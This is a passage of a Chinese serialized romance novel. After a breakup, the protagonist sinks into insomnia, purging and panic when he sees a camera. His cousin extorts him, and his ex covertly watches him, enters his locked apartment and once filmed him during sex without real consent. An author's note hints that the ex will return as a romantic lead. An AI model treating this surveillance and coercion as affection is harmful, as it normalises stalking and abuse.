贺越邱收到监控提醒时,他还激动了一下,以为甄甄回家了,直到看见他打开衣柜,心底的不安才逐渐蔓延上来。 笑容渐渐凝固,他阴沉着脸,透过监控,看到甄甄收拾完东西,什么值钱的都没拿,连那条他亲口说过很喜欢、答应过不会摘下来的项链都没带走。 贺越邱几乎要把鼠标捏得变形,监控画面里,甄甄拖着巨大行李箱的背影渐渐消失在门口,就像他曾经无数次看见过的一样,没什么区别,说着我要去上课啦,天快黑时又抱着书回来。 但这一次,他的鼻腔却泛上一阵涩意。 走出单元楼时,天空下起蒙蒙细雨,去后院喂了流浪猫狗。 他抚摸着那只断腿已经结痂的小奶牛猫,有些想哭,但忍住了,只是轻声跟它们说,不要担心他走了以后就没吃的,就算租不起这里的房子,他还是会多赚钱,有空把他们都带到郊区的救助基地。 小猫舔舐着他的手指,圆眼亮亮地看着他。 离开小区前,甄甄又找了一圈三花,还是没找到。 他也没办法,只能买了一条烟给保安,留下联系方式,希望他看到的话就留个消息。 雨快下大了,这种高档小区里面很大,外来车辆不好进来,只能走一截路去外面打车。 甄甄忘记拿伞,只能淋着雨,拖着行李费劲地走在鹅卵石路上,发出很大很刺耳的轱辘声。 他走出小区,等了会儿红绿灯,去对面的音乐广场喊车。 周围人赶着避雨,脚步匆匆,溅起泥水。红黄的雨伞交错,透过人身的缝隙,甄甄看到路灯下有一对年轻的情侣在架着摊子卖唱。 女孩儿披散着一头黑发,发丝上落满细密的雨珠,在路灯下照出一圈朦胧的光晕。她靠在男孩的肩头,仰起的脸素净秀气,偶尔会抬起眼偷看恋人。 到她唱时,就闭上眼,带着一点微微地沉醉,将话筒贴在唇边,流出一段缱绻的女声: 心念我百转千回。 …… …… 快带我远走高飞。 甄甄怔在原地,静静地听着,来来回回的人和雨伞碰到他。 他的眼眶渐渐让水雾积满,远处的人群在灰蒙蒙的雨幕中连成一片,连带着那轻盈的歌声也模糊不清。 他攥着行李箱的拉杆,忽然全身都没了力气,单薄的身体一点点蹲下去,在人来人往的广场上,流下悄无声息的眼泪。 熙熙攘攘间,一把透明雨伞遮在甄甄的头顶—— 作者有话说:从刚开始写的时候,这个画面就有出现在脑海里。可以搭配着歌食用。 第42章 第 42 章 空落落的。 戴维一路都悄悄地跟着甄甄。 他离开时神情恍惚, 状态一看就不对,戴维根本不放心让他一个人回那地方拿东西。 小区不让进,他就一直等在外面。甄甄一出来, 他就看到了。 失魂落魄地拖着行李箱, 孤零零的, 别人都有伞, 就他一个人淋着雨。 戴维攥着伞, 本想直接上去,可又担心甄甄会多想,就没敢,只能不远不近地跟在后面。 直到看见他忽然往前一蹲, 戴维眼皮一跳, 以为他晕倒了, 赶忙走上前, 走近了才听见他压抑的哭声。 这下进退两难。 戴维低下头,看着抱住膝盖痛哭的甄甄,已经不知道是这些天看见过的第几次, 心里很不是滋味。 他没有出声,不打扰, 只是为他撑起一把伞,静静地陪伴。 甄甄情绪平复后,抬起红红的眼睛, 看见是他, 也没意外。去酒店的路上,两个人都很默契,一个没有多问,一个也没有哭诉。但有人在身边, 甄甄就没那么难过了。 到酒店大堂,前台扫他们一眼,问要双人床还是大床。 甄甄正要说双人床,戴维抢先道:“套房。” 甄甄一愣:“没有必要住这么贵……” “我系大少爷嚟噶,反正系我出钱,享受下先啦。” 甄甄抿抿唇,在前台再次询问时,低声道:“听他的吧。” 走在铺着精致地毯的走廊上,甄甄对戴维说:“我知道你是好意,但我没跟他在一起时20块一晚上的青旅也住过,没那么娇气。就算现在分手了,一时半会儿真的会不习惯,慢慢也能适应的,还不至于因为谈个恋爱把人谈废了。你之前已经帮了我很多,不用再破费了。” 戴维的小心思被戳穿,有点尴尬地摸摸后脑勺,插科打诨揭过去。 甄甄洗完澡出来,餐桌上摆满吃的,连他平时偶尔会主动点的奶茶都有。 他扭头看一眼大快朵颐的戴维,就知道自己的话这人是一点都没听进去。 戴维余光瞥到他出来,忙招呼道:“快来吃啊!我跟你说,暴食就是对付失恋的必杀技,这垃圾食品一进胃,什么毛病都好了。区区男人,能有烧烤冒菜火锅小笼包炸酱面麻辣烫香?” 甄甄勉强笑笑:“你吃吧,我没什么胃口。” 戴维啃着鸡腿,说话囫囵:“你真不吃啊?你不饿吗,我感觉你好像从上午出院到现在一点东西都没吃。” 他扫了眼桌上琳琅满目的国潮快递袋,一拍脑门:“我全按自己喜欢的口味点了,忘记你是病人,得吃清淡点,我再给你点份粥吧?皮蛋瘦肉还是青菜?” 甄甄歉意一笑:“我没饿,而且我平时也吃得少。你不用照顾我的口味,你多吃点吧。” 戴维看着这一桌美食,哭丧着脸:“我叫戴维,不叫大卫·戴,这么多我一个人也吃不完啊!” 甄甄比出一个加油的手势:“我有点困,先去休息,你继续奋斗。” 他转身进了房间,躺在雪白的被子里,翻来覆去到半夜,也还是睡不着觉。 他一会儿闭着眼,一会儿又睁开,盯着黑暗里某一处,直到眼球干涩发酸。 偶尔下意识地往身边一摸,是空的,再摸一摸胸口,里面有个地方也是空落落的。 一直到凌晨,甄甄才勉强眯了会儿。因为没睡意,醒得也很早,路过餐厅时看到桌上的清粥小菜,有点无奈道:“戴维,我饿了会自己找东西吃的,你不用……” 话还没说完,戴维顶着一头乱糟糟的金毛,叼着牙刷,从洗手间探出半个头:“做咩?” 他顺着甄甄手指的方向,抓了抓头发:“我没点早餐啊,昨天点的我吃到半夜十二点都没吃完,现在胃里都是食物残渣,一点儿都没饿。” 甄甄下意识说了句“那是谁点的”,忽然又反应过来,脸色刷一下白了。 戴维没听清楚:”什么?“ 究竟是什么时候?!甄甄猛地看向紧闭的大门,在脑子里搜刮了一圈也没结果。他昨晚几乎没睡,按理说但凡有一丁点儿动静都能听见的,可…… 一阵阵恐慌从心底涌上来,他腿一软,差点往后栽倒,还好扶住了沙发。 戴维感觉不对劲,几下漱完口,赶紧过来:“怎么了?” 甄甄眼睛一颤,猛地摇头:“没事,没事……” 也许,也许是酒店送来的,他们开的套房,自然也包含了早餐服务,不一定就是…… 甄甄咬着下唇,满脸恍然。 戴维推着他到餐厅坐下,把包装都拆开,闻着香味儿,胃口大开:“好香,你快吃点!” 甄甄拗不过他,硬着头皮喝了几口粥水,去洗漱的时候,又全都吐掉了,拿漱口水把胃里返酸的苦味压下去。 甄甄一出来,戴维就把他拉到沙发上挑房子,看完一圈后都不满意,叹气道:“可惜我那里是单身公寓,只够一个人住,不然我俩就能住一起,可以给你省一笔房租。” 甄甄回着好,其实没认真听。他不太能集中注意力,虽然盯着手机界面,但实际上一直都在发呆。 又这么过了两天。 甄甄两周没去公司,几乎所有人都知道他辞职了,猜测什么的都有,不过和他关系好的秘书部同事们很体贴,什么都没问,只是单纯的祝福他。 阿曼达直接杀来酒店,在她的逼问下,知道这朵含苞待放的小雏菊是因为失恋才这么枯萎,当即大手一挥:“不就失恋吗?不就一男的吗?跟谁谈不是谈。我把你照片发群里,追你的男人能从皇城根儿下排到法国!你放心,都优质资源,进一步京城A9红色公子哥,退一步大湾区科技新贵,不退不进原地还有江浙沪高富帅,姐这儿一抓一大把。站起来甄甄,好好儿的,别跌份!” 甄甄欲言又止,戴维无情吐槽:“有没有可能那姓贺的能同时满足你的三种选择,而且你说的这种科技新贵最好不要是骗国家高精尖扶持补助的吧。” 阿曼达出离愤怒:“你行你上!” 甄甄这下插了句嘴:“宫中禁止对食。” 戴维不服气道:“干什么!我掏出来比你大!” 阿曼达凶狠一瞪他,又捏捏甄甄脸颊,鼓励道:“就该这样,有心情开玩笑,就有心情换男人,你很快就能从上一段失败的恋爱中走出来了!” 甄甄木着脸被她揉搓,口齿不清:“唔……我暂时……不想再谈恋爱。” 戴维说:“住哪儿还没着落呢。” 阿曼达又是大手一挥:“不早说!我家里在三环边上有套闲置的小公寓,上任租户刚退租回老家躺平了,正好租给你!” “我……” “打住,我收你钱,市场价收!一分不少!” 她行动力很快,甄甄还没来得及说谢谢,就和戴维连人带行李被赶出酒店,直接带到了那套公寓里。 房子在六楼,可以拎包入住,有阳台,还带几扇大窗户,阳光洒进来,连心情都要好很多。 阿曼达指挥戴维去买菜,宣布今天晚上就要办乔迁宴。 甄甄还处于搬新家的懵逼之中,上午还在酒店,晚上,阳台的烧烤架边就围了一堆人。 阿曼达喊来了白芳、阿文和琳达,都是甄甄相处得很来的同事,一共六个人,喝了八箱啤酒,阿曼达一个人吹了两箱。 这个职场上知性优雅的北京妞私下豪爽大方,搂着甄甄边吹啤酒,边安慰他:“失恋嘛,不说公司里,你就看这儿,喝得横七竖八这几个人,除了那个处男之外,谁还没被甩过?你还小,没见识过多少人,被骗太正常了,年少无知没被渣男渣女骗身骗心就不算真正长大。等你多谈几次,就知道恋爱这事儿吧,就是图个你情我愿互相高兴,要不高兴了,一脚踢开就成。” 甄甄不能认同她的恋爱观,但他知道她是想开解自己,他的视线扫了一圈,看着热热闹闹的氛围,也确实比之前高兴不少。 阿曼达摸摸他的脸颊,又有点伤感:“怎么瘦这么多?早说失恋能减肥,我也去谈个恋爱再分手了。” 聚餐快结束时,阿文职业病发作,掏出手机对着人群:“来来来大家站一块儿,我们拍个照纪念一下。” 众人纷纷配合,唯独甄甄楞在原地,像被当头泼了盆冷水,立刻就从这种热闹里抽离出来。 “不、不拍了吧……” 他发着抖,避开手机镜头,磕磕绊绊地说:“我……不想拍……” 不止阿文愣了一下,其他人也都没明白,只有戴维马上反应过来,跨步挡在甄甄身前,也是强颜欢笑:“人家失恋了,哪有心情拍照。” 他也知道这借口很牵强,但阿文是个粗神经,没多想,把手机收起来了。 白芳皱皱眉,总觉得甄甄听见要拍照时的反应不太对。临走前,她拉着甄甄说:“你两周多都没拍摄,片子积了好多,什么时候能复工啊?” 她以为甄甄是因为失恋导致的无心工作,甄甄也不好解释,只能含糊道:“我……再调整一下状态……” 白芳拍拍他肩膀:“我知道你现在很难过,但生活和工作总是要继续的。” 甄甄点点头,露出一个苍白无力的笑容—— 作者有话说:这几章,有点虐小狗宝[可怜] 第43章 第 43 章 骚扰。 甄甄开始失眠。 其实还在医院的时候就有预兆, 但一些药水里含有安眠成分,他整个人都是浑浑噩噩的,分不清白天黑夜, 也就感觉不到自己身体出了问题。 出院后没有药物辅助, 一到晚上, 他闭上眼, 就怎么都睡不着觉, 偶尔浅眠一会儿也会很快被噩梦惊醒,一摸脸颊和枕头,早就是湿哒哒的。 白天也不太有精神,经常在沙发上呆坐一整天。很多时候他都会恍惚间以为自己也是这套公寓里的某件家电, 安安静静地待在该待的地方, 不需要思考, 也不用走动。 戴维每天下班后都会过来, 带些热腾腾的饭菜,软磨硬泡地看着甄甄吃下去。但他前脚一走,后脚甄甄就会冲到卫生间吐掉。 其他时候戴维不在, 甄甄就一点东西都不吃。 他并不是故意要拿身体赌气,但胃饿久了之后, 对饥饿就不敏感了,偶尔一次稍微吃得多一点,立刻就会翻涌难受, 不得不想办法吐出来。 他就像阳台上那盆疏于照顾的矮牵牛一样迅速地衰败下去。 六月中旬, 北京雨季。 公寓十几年的楼龄,阳台转角在渗水,甄甄不想让阿曼达的房子里长满蘑菇,联系物业找人重新做了一次防水。 他窝在沙发上发呆, 等到天色昏昏,戴维没有来,就知道他今天加班,不会再来了,便关灯上床休息。 窗外是淅淅沥沥的白噪音,卧室里老破温馨,甄甄窝在被子里,渐渐阖上眼。 睡到一半又忽然惊醒,摸到手机一看,才晚上九点。 他没睡意了,起身去阳台透气,摸着黑走过客厅时,屏幕忽然一亮,是贺越邱给他发来消息。 【去吃饭。】 甄甄愣住了。 穿堂风呜呜扯叫着,吹过黑漆漆的客厅,他站在过道上,浑身冰冷。 他忽然转身,中途被家具绊了好几下,摸着黑跑到厨房,打开灯,看到餐桌上满满当当一桌菜后,浑身一软,手机一落,跌坐在瓷砖上。 他慌乱地看向灶台,擦得干干净净的;又转头一看垃圾桶,套了个崭新的袋子;调料瓶子按原样摆放;打开冰箱,和刚住进来时一样空空如也。 ——除了那条突兀的短信,和这桌还带着余温的饭菜,一切,都和睡前的摆设一模一样。 甄甄却一刻都不敢再待下去,连手机都没有带,夺门而出。 他奔跑在黑暗的走廊上,周围都是方正严肃的门,压抑得他喘不过气,生出满背冷汗。 那晚魔鬼般恐怖的贺越邱在脑海中不断闪回,那套房子的布局也渐渐扭曲成现住的这套公寓,他明明锁了门,按理说不可能有人进得来,不知道那些饭菜究竟是怎么出现在餐桌上的,更不敢深想是贺越邱点的外卖,还是说他亲自…… 甄甄穿着单薄的睡衣,踩着不方便行动的拖鞋,一路跑到电梯口,狂拍着按键,直到冲进一楼灯火通明的便利店,站在琳琅满目的货架前,突突狂跳的心脏才渐渐平复。 他装作要买东西,挑了很久,直到服务员都过来推销,才匆匆拿了一瓶矿泉水结账。 他坐在一楼的休息区域,哪怕外面还在下雨,风吹得很冷,也不敢回去。 他实在是怕,会不会一推开门,就看到鬼一样纠缠不清的贺越邱…… 甄甄一直坐到后半夜,才终于鼓起勇气重新回到公寓,把全屋的灯光——连厕所都没有放过——全都打开了,没有视觉盲区,心底的不安才稍微少了一些,勉强能说服自己待在房间里。 但他还是不敢去卧室,缩在沙发上瑟瑟发抖,怎么都睡不着。 一直捱到天亮,太阳出来,才昏昏睡去。 再醒是在床上,但甄甄不分昼夜地失眠,思维早就不是很清楚,他也不记得自己昨天是什么时候睡的、又是在哪里睡着的。 戴维今天放假,上午就来了,输了好几次密码都不对,只能打电话问甄甄。 “我改密码了吗?”他愣愣地,想不起来,给戴维把门打开后,看了一下密码门的编辑记录,才讪讪地说:“哦……好像是昨晚改的。” 戴维提了两袋肉菜,准备大展身手,进厨房一看,惊讶道:“你自己做的?” 甄甄跟进来,觉得有点儿熟悉,含糊道:“我不太会做饭……可能是我昨晚饿了,点的外卖吧。” 戴维把买的菜归置到冰箱里,把这些现成的放微波炉里热好,按着甄甄坐下,监督他吃完早饭,又把公寓里的卫生收拾好。 戴维陪着他到中午,准备走时,照例邀请道:“要不要出去走走?” “我不想动。” “行吧,那你好好休息,晚饭记得准时吃。” “嗯。” 戴维一走,甄甄就去了卫生间。 他把呕吐物冲走,又洗了把脸,回沙发上坐着。 半个下午,手机铃声响了,看到是那个熟悉的号码,甄甄心跳加速,有些呼吸不上来。 他忍过这阵恶心发冷,连带着把微信一起拉黑了。 但没一会儿,又有电话打进来,哪怕他刻意不接,铃声也一遍又一遍催命般响起。 甄甄没由来地发怒,他接起电话,正要劈头盖脸一顿骂,听清楚声音后,又愕然地睁大眼。 不是贺越邱,但也没好到哪去,甄波依旧是一副泼皮无赖相,问他要钱,他说不给,就恼羞成怒:“不给?你真不怕我上网曝光你?” 甄甄崩溃道:“我没有钱!” 那头传出来下流又恶心的笑声:“你是没钱,你的金主不是有吗?上次我才刚张口要三十万,他眉头都不皱地就给了我,这次我不要多了,我只要五十万……不!七十万!七十万,只要你让他再给我七十万,我保证不会再纠缠你!” 甄甄下意识道:“你别造谣!” 话说到一半,他忽然想起那次主动向方寸行提到甄波,对方轻飘飘的语气…… 他脸色难看,又不太敢相信,怎么可能呢…… 甄波嘻嘻笑道:“想起来了吧?看样子我弟弟有点本事嘛,把那个方总伺候得要钱给钱,比你可大方多了。” 甄甄恶狠狠道:“你闭嘴!” 甄波说:“想让我闭嘴也简单,给钱就行。我要得也不多,七十万,你多给他睡几天晚上就有了,就当买个清净,以后我绝对不再纠缠你。很划算的,考虑一下呗?” 甄甄恐慌而又无力,哭着抓住自己的头发,尖叫道:“你还是不是人!滚!我一分钱都不会给你!” 甄波翻脸骂人,甄甄直接挂断电话拉黑,他怕他或者贺越邱还会持续不断地骚扰,干脆拔了电话卡。 他前段时间哭得太厉害,一度都没什么眼泪了,今天不知是否受到的刺激太大,竟然又抓着肩膀哭了一个多小时,直到累得昏睡过去,在梦里都还时不时抽泣一下,白净的脸颊上泪痕就没有干过。 醒来后已经是下午,甄甄顶着红肿的眼睛,又把电话卡插回去,登上银联,把自己名下银行卡的余额都算了一遍,还好够还方寸行的钱。 但还完就不剩什么了,他这些年和贺越邱在一起,被他的消费观带着,也学得大手大脚花钱。 要不是后来做了平面模特,赚到不少钱,靠他以前做兼职的那点儿报酬,别说还钱,他现在连付房租都不够。 要是算上贺越邱给的—— 甄甄狠狠地拧了自己大腿一下,他的尊严不允许他这种时候想到这个人,他已经把能还的东西全都还了,曾经花掉没办法还的,他被他骗得这么惨,勉强也就算抵平。 他不欠他什么,更不会图他什么。 方寸行一收到甄甄打来的款项,立刻就明白他已经知道甄波的事了,他马上打去电话,想劝他把钱留着,但甄甄只是淡淡道:“谢谢你当时帮我应付甄波,心意我领了,钱我不能让你出。这次就算了,以后他如果再来找你,说些有的没的……你不用管他,我也不会再给他一分钱的。” 说完便挂断了电话。 方寸行敏锐地听出甄甄平静下的哽咽,他猜想那个混蛋估计又来纠缠了,甄甄刚失恋,整个人都在低谷期,又怎么应付得了这种无赖? 心痛之余,也有点惊讶,那份资料里显示甄甄出身并不好,名下曾有过的唯一财产——也就是他爸妈留给他的那套房子,也早就已经被他叔婶霸占了。 按方寸行对甄甄的了解,他既然说了分手,也肯定不会再用贺越邱的钱,三十万对一个还没毕业、又无依无靠的学生而言,不是一笔小数目。 方寸行把来龙去脉大概说了,问戴维:“甄甄哪来的这笔钱?” “那应该是他攒的首付,他之前说过想在北京买房子来着。”戴维倒不是很担心,“他手头应该还剩二十多万,一时半会儿也花不完。” “……这么多。” 戴维鄙视道:“你不要看甄甄平时笨笨的还爱摸鱼,就看不起人家好吗?还不是因为你抠门,工资开得那么低!他拍广告就很挺努力,半年攒了大六位数,比我可有钱多了!对了你啥时候给我涨工资啊?我现在还多干一项保姆的活呢!” 方寸行怔怔的,有点说不出的心疼。 他第一次见甄甄的时候,确实不喜欢这个人,靠着年轻漂亮就想傍金主走捷径的男男女女他见得太多了,有些甚至还没成年就学会这一套,他们庸俗、低级、空有皮囊。 他想当然的以为甄甄也是这种人,并由衷地佩服他居然能把贺大少爷拿捏得服服帖帖,可见确实有过人之处。 虽然现在经过这么久的相处,方寸行早就对甄甄改观了,尤其是他在觉得尊严受到践踏时,主动向贺越邱提出分手。没有人比方寸行更清楚他放弃的是什么,换做其他任何一个人,都绝对不会做和甄甄一样的选择,更别提像他那样,走得这么果断这么洒脱。 甄甄和那些人从来都不一样,他把贺越邱当男朋友,就是纯粹地投入一段恋爱,而非巧立名目的包养游戏。或许物质上他比不过贺越邱,但在感情上,他从来都不是一个弱势者。 方寸行陷入回忆中,想起他们初见面时,他还先入为主,说过一些不太客气的话。也因为他傲慢的态度,所以甄甄后来一直都很讨厌他。 这么想,方寸行自嘲地笑了,怪不得他这辈子唯一一次告白会落得个那么惨烈的下场。 原来都是他咎由自取—— 作者有话说:这几章写得我好难[爆哭] 还有20万你们猜去哪了…… 第44章 第 44 章 镜头恐惧。 虽然已经和贺越邱分手, 从那套房子里搬出来了,甚至,甄甄拉黑了他所有的联系方式, 可很多时候他总觉得, 这个人根本就没有从自己的生活里离开。 他从来没有真正出现过, 但空气里熟悉的味道, 物业送来的饭菜, 永远干净的垃圾桶……他好像一个藏在暗地里的影子,甄甄刻意去找的时候永远也找不到,但一回头,就会出现在他身后, 脚底下, 无声无息地跟随。 连绵的雨季让阳台那盆矮牵牛里长出来白蘑菇, 贺越邱就像它撑开伞盖幽幽释放出来的孢子, 看不见、摸不着地钻进甄甄的肺腔,挥舞着菌丝寄生在他身上。 除此之外,甄甄还要担忧着甄波拿不到钱, 会不会真的和他鱼死网破。这样一个烂人,有着那么一对烂人父母, 一家人靠吸食他作为养分生活这么多年,尝到好处就不肯放手。他已经尝试过很多方法去摆脱这些人,可无论走到多远, 哪怕远到一南一北, 他居然都还是会被缠上,一旦被找到,立刻又把他拉回到幼时孤立无援的境地。 甄甄现在连只是待在公寓里,都会觉得喘不过气, 躁郁、烦闷,想要大声尖叫。那种情绪堵在胸腔,在身体里乱窜,根本找不到出口。只有在把人压得实在受不了时,会化成无声地恸哭,涌上一种哑巴发不出声一样的无力。 他长久地看着窗外,有时候整个城市都在下雨,污水顺着高楼大厦直直流下;有时候会放晴,一连万里无云的澄蓝。这种时候,高远的天空就产生了一种前所未有的致命的吸引力,让他幻想如果可以变成一只鸟儿飞走,是不是就能把这些烦心事都丢在地面上。 但甄甄没有变成鸟儿,他淹没在北京的雨季里,这场雨贯穿他的整个童年,整个青春期,又到整段恋爱。它不能带他随波逐流,逃离到另外一个没有烦恼的世界,它只能让他挣扎浮沉,一身羽毛变得又湿又重。 戴维陪他的时间越来越长,他不忍心见他这样消沉下去,也提议过要不要养只小猫小狗。 你不是很喜欢这种可爱的小东西吗。戴维说。 甄甄歪着头,认认真真思考了大半天,最后拒绝了。 “为什么?” 甄甄盯着阳台外的一片云,“我养不好它。” 他现在连自己都养不好。 有几次,甄甄欲言又止,他想换个房子,不想再住在一个随时会被贺越邱进入的地方。但每一次,他看着戴维的眼睛,都没办法把这句话说出来。 他意识到这或许就是贺越邱能够允许的他离开的最远范围了,只要他还在北京,甚至还在国内,他就哪里都逃不掉。 况且,他现在根本就没有足够的钱支撑他天南海北的搬家,也没有精力再陪着贺越邱折腾。 但甄甄不想去工作,要不是白芳打了好几次电话,直接下了最后通牒,他想一直待在公寓里。 这还是他从搬家之后,第一次出门。 甄甄以前出门是不会做防护措施的,如果有粉丝认出来想要合照签名,也都会很热情地满足。但这回不知道为什么,口罩、墨镜、鸭舌帽,能用来遮挡特征和面部的装饰,他全都戴上了,连短一点的衣裤都没敢穿,不想暴露身体的任何部位。 他这一刻倒莫名有些理解贺过岭。 每次经过人群时,甄甄心底总会疑神疑鬼,想着他们会不会认出来自己就是zz,或者甄波已经在网上发了帖子,他人设“崩塌”,网友们吃过瓜后义愤填膺,抓住他骂他是个爱慕虚荣被包养的小白脸。 好在这副打扮让甄甄除了在进星火大楼时,差点被蹲守的明星粉丝认错之外,没有人注意到他。北京毕竟是一座足够包容的国际大都市,可以容纳下他的稍许不合群。 白芳知道甄甄要复工特别高兴,提前就带着团队布置好了灯光场地,只等他到场,做完妆造就可以开拍。 琳达给甄甄化妆时惊讶道:“你怎么瘦成这样了?” 她拎着甄甄的手腕,轻轻晃了晃,和她一个女孩子的没什么差别,感觉风一吹就折了。 又摸摸他深深凹下去的锁骨,羡慕道:“你真是天生吃这碗饭的人,休息这么久居然一点都没长胖。” 甄甄苦涩又无奈地笑了笑,真心话也被琳达当做是凡尔赛:“我更羡慕你的健康。” 他不是不想长胖,他一直都觉得自己胖一点儿可能会更好看,因为小时候他爸妈都爱夸他圆乎乎的可有福气了,但后来越长越白白瘦瘦的。如果他爸妈还在,肯定会像电视里盼着孩子回家的那些父母一样,念叨他在外面没好好吃饭,没好好照顾自己。 甄甄不太想让他爸妈担心。 化好妆后,琳达把镜子对准他,让他睁眼:“看看,超漂亮的精灵妆哦!简直就像CG建模!” 甄甄被镜子的反光刺得撇过脸,敷衍地应和。 正式开拍前,甄甄在布景里试灯位,余光看到阿文掀开镜头盖调参数,脸色刷一下就白了。 “各部门准备——模特不要出神,快调整好状态!” 甄甄好像听不见白芳的话,他愣愣地盯着那颗黑漆漆的镜头,恍惚间好像看到了贺越邱骑在自己身上时举起的那枚相机,充斥着恶意的话回荡在耳边,一遍又一遍地重复。 ‘这样好不好看?你看你皮肤多白,不用补光都照得清清楚楚。’ ‘多叫几声听听,默片哪儿有意思?’ ‘騒货!夹这么紧,要濆了是吧?腿张开点,我给你拍个特写。’ 白芳看着取景框里不在状态的甄甄,皱眉道:“模特?做表情啊,马上推特写了!” 谁也没想到,甄甄忽然发出一声惊恐到极致的尖叫,他躲开镜头,拿手臂遮挡住自己的脸,梦魇般重复着:“别拍了……别拍……” 在场的工作人员全都愣住了,尤其是阿文,手足无措地看向白芳。 这怎么回事?甄甄从来没有出过这样的拍摄事故。白芳很快回过神,压下疑问,镇定道:“甄甄你先冷静点儿,要不要休息会儿再拍?” 甄甄浑身发抖,满脑子都只有那些可怕的假设,贺越邱说只是自己看会不会是骗他的?他是不是已经发出去了? 他拍了那么多,照片、视频……他躺在他身下做过好多淫/荡的表情,说过好多不堪入耳的话…… 他现在拍的这些广告里有那么多露出的身体部位,那些看过H账号的人会不会认出来?就像方寸行认出来那样…… 面前的镜头和灯光突然就变成了一个个活生生的人,他们张着红口白牙,群情激昂地指着他口诛笔伐。 他是不是收钱拍的?真是不要脸啊。就是,给男的搞成这样。被调/教得好騒。他爹妈怎么教的? 甄甄越想越崩溃,最后捂住脸,声嘶力竭地喊道:“我不拍了!!我不要拍了!!” 大家这下都被他吓到了,白芳意识到不对,忙让阿文关掉摄影机。她走到甄甄面前,脱掉外套披在他身上,尽量挡住其他人的视线。 “怎么了甄甄?别激动,先冷静一点好不好?告诉芳姐发生什么事了?是哪里不舒服吗?” 甄甄完全接收不到外界的信息,只是苍白着脸,语无伦次地重复道:“我不拍了……我要回家,不拍……” 白芳把他扶到化妆间,这里没人,空间也小,比外面给人的刺激小。 白芳安慰道:“好,我们先休息会儿,等会再——” 甄甄哽咽着说:“不拍了!再也不拍了!” 一句“违约金怎么办”差点就脱口而出,换成其他模特在这儿,白芳早就破口大骂了。但她意识到甄甄好像不只是简单的状态问题,更像是心理上也出了问题。实在不忍心继续逼他,只能丢掉职业道德,先把他安抚下来。 十几分钟后,甄甄的情绪才稍微平复一些,他不再像之前那样具有攻击性,只是低着头一直在哭。 戴维闻讯赶来,接替白芳,轻轻拍着甄甄的背,温声哄着他。 白芳直接去找了方寸行,问他接下来怎么办。 “他现在的状态没办法再继续拍摄工作,给他放个长假吧。”方寸行没有任何迟疑,好像早有预料般。 白芳急道:“这怎么能行呢?他刚出道不久就接到这么多片约,正是事业上升期,突然停摆会导致信誉危机的!” 方寸行按捺着火气,但还是没忍住,拔高了音量:“事业重要还是人重要?他不能拍难道逼着他拍吗?!把人逼出事了怎么办!!” 白芳也火了,猛地一拍桌子:“你以为全世界就你一个是大善人吗?我就是压榨新人的无良导演?你知不知道他不能继续拍摄工作要赔多少违约金啊?把他这半年赚进去的钱加倍赔出来都不够!他一个还没毕业的学生,又跟那个有钱男朋友分手了,哪来的钱赔!” 白芳越说越委屈:“我这几天电话都被品牌方打爆了,要不是被催得没办法,你以为我想逼着甄甄来拍摄?可不拍又有什么办法?让他还没进社会就背上一屁股债吗?!” 方寸行的火气一下就消了。 他摘下眼镜,往桌上一丢,揉着太阳穴。半响,低声道:“人重要,把最近的片约全部取消吧。他的经纪约还在星火,违约金走公账赔。之后的事,等他状态调整过来再说。” 白芳揉着发红的手掌,语气软下来:“以什么理由?” “生病。” 这件事谈妥后,方寸行给贺越邱发去几份文件,起身往化妆间走—— 作者有话说:这几章写得我都快抑郁了,不过很快就能来到大众期待的当面环节了[可怜] 第45章 第 45 章 小瓦瓦。 方寸行到化妆间时, 甄甄的情绪已经平复了很多,戴维给他接来一杯水,开玩笑说他这么爱哭, 就像多愁善感的林妹妹。 甄甄有些不好意思, 捧着水杯, 稍微别过脸, 露出一点发红的耳垂, 小口地抿。 但方寸行一走进来,原本还算轻松的氛围瞬间沉重了些,戴维忙使眼色,想赶他走。 方寸行目标明确, 径直朝甄甄走过去。 表哥咋这么不会看眼色?人家欢迎他吗, 就一个劲往前凑?戴维拍着大腿, 都快急死了。 他还想替甄甄拦一下方寸行, 但只是被淡淡地看了一眼,就怂下去,坐到一边抠指甲, 没敢吭声。 倒是甄甄本人情绪还算稳定,抬头问他:“有什么事吗?” 从这个角度, 方寸行能够很清楚地看见他哭得泛红的眼眶,甚至睫毛上都还沾着点点泪痕,头顶的灯一照, 就闪烁着钻石一样的晶光。 他的视线又隐晦地往下, 在那两道往里深深凹陷的锁骨处停住,随即皱起眉毛。 方寸行说:“白芳把片场的事跟我说了,你状态不好,可以暂停拍摄。” 甄甄不由自主地生出几分庆幸, 他知道这样不对,又为这点庆幸而感觉到羞愧。 他声音很低地嗯了一声,脸颊臊得通红,手指局促地摩挲着杯壁。 方寸行又说:“甄波的事——” 甄甄立刻抬起头,眼球慌乱地颤动,溢出的恐慌让方寸行心底一痛,加快语速道:“你不用担心。甄波确实在网上以你堂兄的身份发布过抹黑视频,大概内容是造谣你和我有不正当的交往关系。但他的账号以前发布的都是一些低俗内容,被限流过,所以这条视频发出去也没有流量,被戴维发现的时候只有零星几个点赞,在做过取证之后很快就联系公关部删掉了,并且以造谣的理由举报至封号。” 甄甄愣了下,不敢置信般睁大眼睛,反应过来后,又急切地看向戴维,眼神里满是期盼。 方寸行被他这种下意识的不信任伤到一瞬。 戴维忙说:“别哭别哭,是真的。我之前一直没敢说,是怕一提起来你就难过。其实你根本不用害怕,虽然网络没有门槛,谁都可以利用,但没有大量水军在背后推波助澜,仅凭个人的力量,一件事是很难在网络这片汪洋大海里扑腾出浪花的。再说这不还有我——” 他被方寸行看了一眼,又加上,“咳咳,跟我表哥吗?星火的公关能力在娱乐圈里都是数一数二的,对付一个甄波简直是杀鸡焉用牛刀。别说甄波没钱请水军,就算他有,也分分钟给他灭了!” 甄甄一时陷入恍惚之中,折磨他这么久的一件事,在方寸行和戴维眼里,居然就是这么轻松、甚至不值一提的事吗? 他还是不太敢相信,目光无助地在方寸行和戴维之间徘徊,万一他们只是出于好心安慰自己,其实网上早就在大面积地辱骂他了呢? 方寸行看到如惊弓之鸟般的甄甄,只觉得胸口闷闷发痛,这笔账他不仅要算到甄波那个王八蛋头上,贺越邱更是主谋。如果不是他打着爱的旗号伤害甄甄,摧毁了他心底的信任,从前那么开朗活泼的小男生,怎么会变成现在这个样子! 他忍下满腔怒意,语气有些许颤抖,但无比坚定地告诉甄甄:“你知道我不会骗你。取证之后我已经以经纪公司的名义报了警,甄波涉嫌敲诈勒索和造谣诽谤,现在已经被关进派出所接受后续调查。所以他不仅是没办法再发帖污蔑你,更要担心自己即将面对的牢狱之灾。” 